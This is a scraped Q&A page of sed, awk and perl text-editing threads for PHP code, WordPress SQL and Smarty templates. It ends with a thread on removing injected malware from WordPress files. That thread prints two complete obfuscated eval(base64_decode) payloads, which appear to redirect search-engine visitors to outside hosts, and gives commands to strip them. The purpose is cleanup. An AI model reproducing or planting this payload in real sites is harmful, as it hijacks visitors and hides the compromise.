I'm trying to change to migrate my php code using ZF1/PEAR convention to namespaces.
So I want is to change
$locale_test = (new ACME_Common_Factory())->createLocale(ACME_Common_Enum_Civility::MR);
to
$locale_test = (new \ACME\Common\Factory())->createLocale(\ACME\Common\Enum\Civility::MR);
I've tried using the following sed program (which would work for lines containing only 1 class name)
sed -r '/ACME/{h;s/ACME_.*$//1;x;s/^.*(ACME.*)$/\\\1/;s/_/\\/g;x;G;s/\n//1}'
But it actually does little more than
sed -r '/ACME/s/_/\\/g'
I would prefer a solution using sed or awk (just for the sake of improving my cli skill) but any other solution will do.
Spaces as well as most special characters (but, crucially, not _) end a word, so I believe the word boundaries should serve well to identify class names. So, using GNU sed:
sed 's/\>/\n/g; :a s/\<\(ACME[^\n]*\)_\([^\n]*\)/\1\\\2/; ta; s/\<ACME/\\&/g; s/\n//g' filename
This works as follows:
s/\>/\n/g
puts newlines after closing word boundaries. We use this later to match (sort of) non-greedily. After this step, your line becomes
$locale_test
= (new
ACME_Common_Factory
())->createLocale
(ACME_Common_Enum_Civility
::MR
);
This leaves us with an easy way to identify names in the ACME namespace: \<ACME[^\n]*, and to identify names in the ACME namespace that contain an underscore: \<ACME[^\n]*_[^\n]*. We can use this to find underscores in ACME names and replace them one by one:
:a # jump label for looping
s/\<\(ACME[^\n]*\)_\([^\n]*\)/\1\\\2/ # Attempt replacement
ta # if it happened, go back to a.
After that, it's just
s/\<ACME/\\&/g
To put the \ in front, and
s/\n//g
To remove the newline markers we put there.
Mind you, I suspect that this would be easier in Perl.
This might work for you (GNU sed):
sed -r ':a;s/(ACME[a-zA-Z\\]*)_/\1\\/;ta;s/ACME/\\&/g' file
What about this ?
sed -r -e '/ACME_[^\(:]*/s/_/\\/g' -e 's/(ACME\\)/\\\1/g'
I've finally found an answer inspired by #Wintermute
sed -r ':a s/(ACME[^;:\(]*)_([^;:\(]+)/\1\\\2/g; ta' file
Related
I'm trying to replace the following string in a wordpress sql file:
http:\\/\\/firstdomain.com\\/qwerty\\/wp-content\\/uploads\\/2018\\/07\\/section-shape.png
to
https:\\/\\/seconddomain.com\\/wp-content\\/uploads\\/2019\\/06\\/section-shape.png
I tried the following command which obviously didn't work
sed -i "s#'http:\\/\\/firstdomain.com\\/qwerty\\/wp-content\\/uploads\\/2018\\/07\\/section-shape.png'#'https:\\/\\/seconddomain.com\\/wp-content\\/uploads\\/2019\\/06\\/section-shape.png'#g" database.sql
Someone please help to understand where I missed. Thank you very much.
You can't seriously apply a sed to a .db file because... well, it's database file not text (most likely sqlite by the way).
Instead, you should perform the string replacement with an (UPDATE) SQL query from the SQLite console (or whatever SQL client you have). Check this link for the replace method in SQLite for example.
Your first mistake is enclosing your script in double quotes instead of single, thereby inviting the shell to parse its contents before sed gets to see it and thus eating up one layer of backslashes.
If you have to deal with single quotes (which you shouldn't given your posted sample input but anyway...) never do this:
sed "s/foo'bar/stuff/"
do this instead:
sed 's/foo'\''bar/stuff/'
so the shell isn't interpreting every part of your script.
Beyond that - sed doesn't understand literal strings (see Is it possible to escape regex metacharacters reliably with sed), so instead just use a tool that does, e.g. awk:
awk '
BEGIN { old=ARGV[1]; new=ARGV[2]; ARGV[1]=ARGV[2]="" }
s=index($0,old) { $0 = substr($0,1,s-1) new substr($0,s+length(old)) }
1' \
'http:\\/\\/firstdomain.com\\/qwerty\\/wp-content\\/uploads\\/2018\\/07\\/section-shape.png' \
'https:\\/\\/seconddomain.com\\/wp-content\\/uploads\\/2019\\/06\\/section-shape.png' \
file
https:\\/\\/seconddomain.com\\/wp-content\\/uploads\\/2019\\/06\\/section-shape.png
I have about 200 php files that containing some iconv() functions,
something like this:
iconv('GB2312','UTF-8',$aRow[$aColumns[3]])
iconv('GB2312','UTF-8',$rs1['supplier']);
iconv('GB2312','UTF-8',$aRow[ $aColumns[$i] ]);
i don't know what could be the best way to remove iconv('GB2312','UTF-8', and final ) in batch mode without touching the variable.
this RegEx could match my case but i don't know how to use it with sed:
^(iconv\(\'GB2312\'\,\'UTF-8\'\,)+|(\))
And i am also not sure that sed is the right solution in this case
Anyone faced a similar problem before?
You can use this sed command:
sed -i "s/iconv('GB2312','UTF-8',\([^)]*\))\(.*\)/\1\2/" file
which will extract your php variable into \1. /2 is the remaining of the line (a ; in the example you posted)
Try this cut statement with the output.
cat file|cut -d, -f3|tr -d ');'
This might work for you (GNU sed):
sed 's/iconv('\''GB2312'\'','\''UTF-8'\'',\([^)]*\))/\1/g' file
Use an example string as a template, replacing ' by '\'' and the variable to be kept as any characters from after the second , which is not a closing ). This variable is enclosed in quoted (...) i.e. \(...\) which may be transfered to the RHS of the substitution command as a back reference.
Try this sed:
cat file | sed 's/iconv(.*,.*,\(.*\)).*/\1/g'
This will extract only the variable.
With grep
grep -o '$[^)]*' infile
I'm not very good at scripting, nor am I very good at regex, so I'm not sure how to accomplish this.
what I'd like to do is run a unix command that will search within current (and sub-) directories for a particular pattern match, and replace it with another string/pattern.
Lots of articles on this, but my 'twist' is that the match must have a wildcard - which will be reproduced in the replacement string.
I'm resorting to this method as I don't think I can get this specific with Eclipse (for PHP). If this CAN be done with Eclipse, please let me know.
For instance, here is the pattern I'm looking for: ::$_<sometext> and I wish to replace it with ::myFunction('<sometext>').
Here is an example:
echo UserClass::$_thevariable;
turns into:
echo UserClass::getVar('thevariable');.
Thanks for your help
find . -exec sed -i -E -e "s/::[$]_([a-zA-Z]+)/::getVar('\1')/g" {} \;
But be careful with sed -i, it replaces files in place... Also this works for the specified search/replace strings, it might be more compicated if you need to escape things
I have many fields in my smarty template files like this.
{$email} (this can be anything like -- {$description}, {$variable_name}
I want to replace it with {$email|escape:htmlall} or {$variable_name}
how can i do that in linux? I'm having difficulty writing regex in sed.
Try:
sed 's/{\(\$[^}\|]*\)}/{\1|escape:htmlall}/g'
As a test, use:
echo 'blabla {$email} blieblie {$name} bloebloe ${alreadydone|escape:htmlall}'|sed 's/{\(\$[^}\|]*\)}/{\1|escape:htmlall}/gi'
Things that this regexp does:
It replaces any string like {$} by {$|escape:htmlall}
It also makes sure that two consecutive fields (as in the example) are handled separately. This is done by demanding that in the no '}' may occur (this is done by the [^}\|]* part, which means: a series of zero or more characters which all may be anything but '}' and '|' (see below).
It ignores any tags that already were escaped (by ignoring any tag having a | within the curly braces).
Make a backup before and try this:
grep -rl "{$email}" yourdirectory | xargs sed -i 's/\{\$email\}/{$email|escape:htmlall}/g'
perl -ape 's/({\$\w+)(?!\|escape:htmlall)}/$1|escape:htmlall}/g' file
This is using the negative lookahead feature.
This will ignore variables that already have escape:htmlall.
Trying to clean up after a slew of php injections -- every php function in about six sites worth of WordPress templates is full of junk.
I've got everything off the server, onto a local machine, and I'm hoping there should be a good way to delete all of the enormous code strings with terminal.
Of which I know approximately nothing.
http://devilsworkshop.org/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/ had good instructions for doing a clear on the server, but substituting my path/to/folder doesn't seem to be working in terminal.
Feeling I'm close, but, blind as I am to the ways of the terminal, that doesn't seem that comforting.
Based on the above, here's what I've got -- any help would be so amazingly appreciated.
grep -lr --include=*.php "eval(base64_decode" "/Users/Moxie/Desktop/portfolio-content" | xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g'
UPDATED
derobert -- thanks a million for helping with this --
basically, the space after every <?php before the actual function had this inserted into it:
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
The characters change with each one, so a simple find and replace won't work (which was, I'm pretty sure, the point).
here is my code that proved as a valid solution.
I downloaded all the files to my local machine and started working on solution. Here is my solution {combination with what I goggled out}
#!/bin/bash
FILES=$(find ./ -name "*.php" -type f)
for f in $FILES
do
echo "Processing $f file LONG STRING"
sed -i 's#eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a3BiLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));##g' $f
echo "Processing $f file SMALL STRING"
sed -i 's#eval(base64_decode.*));##g' $f
done
save it somewhere as mybash.sh {from your favourite text editor}
$ sudo chmod +x mybash.sh //execute permission for script
$ ./mybash.sh
I have used the first one LONG STRING cause the pattern is always the same. Here is the explanation for the above code
s# - starting delimiter {#-delimiter same as / as in rule for sed}
eval(base64_decode.)); { first pattern to match, Reg Exp [. - Matches any single character], [ - Matches the preceding element zero or more times]}
# - second appearance of delimiter {#}, after # is empty which basically means replace first string {eval(base64_decode.*));} WITH {''}
#g - end of command, SED syntax
So, someone got access to write to arbitrary files on your server. I assume you've cleaned up the exploit that let them in already.
The problem is, while the eval(base64_decode stuff is obvious, and has to go, the intruder could have put other stuff in there. Who knows, maybe he deleted a mysql_real_escape_string somewhere, to leave you vulnerable to future SQL injection? Or a htmlspecialchars, leaving you vulnerable to JavaScript injection? Could have done anything. Might not even be PHP; you sure no JavaScript was added? Or embeds?
The best way to be sure is to compare to a known-good copy. You do have version control and backups, right?
Otherwise, you can indeed use perl -pi -e to do a substitute on that PHP code, though matching it might be difficult, depending. This might work (work on a copy!), and adjust spacing in the regexp as needed:
perl -pi -e 's!<\?php eval\(base64_decode\(.*?\)\) \?>!!g' *.php
but really, you should review each file by hand, to confirm there are no other exploits present. Even if your last known-good copies are somewhat old, you can review the diffs.
edit:
Ok, so it sounds like you don't want to nuke the whole PHP block, just the eval line:
perl -pi -e 's!eval\(base64_decode\(.*?\)\);!!g' *.php
You may want to add a \n before the first ! if there is additionally a newline to kill, etc. If the base64 actually has newlines in it, then you will need to add s after the g.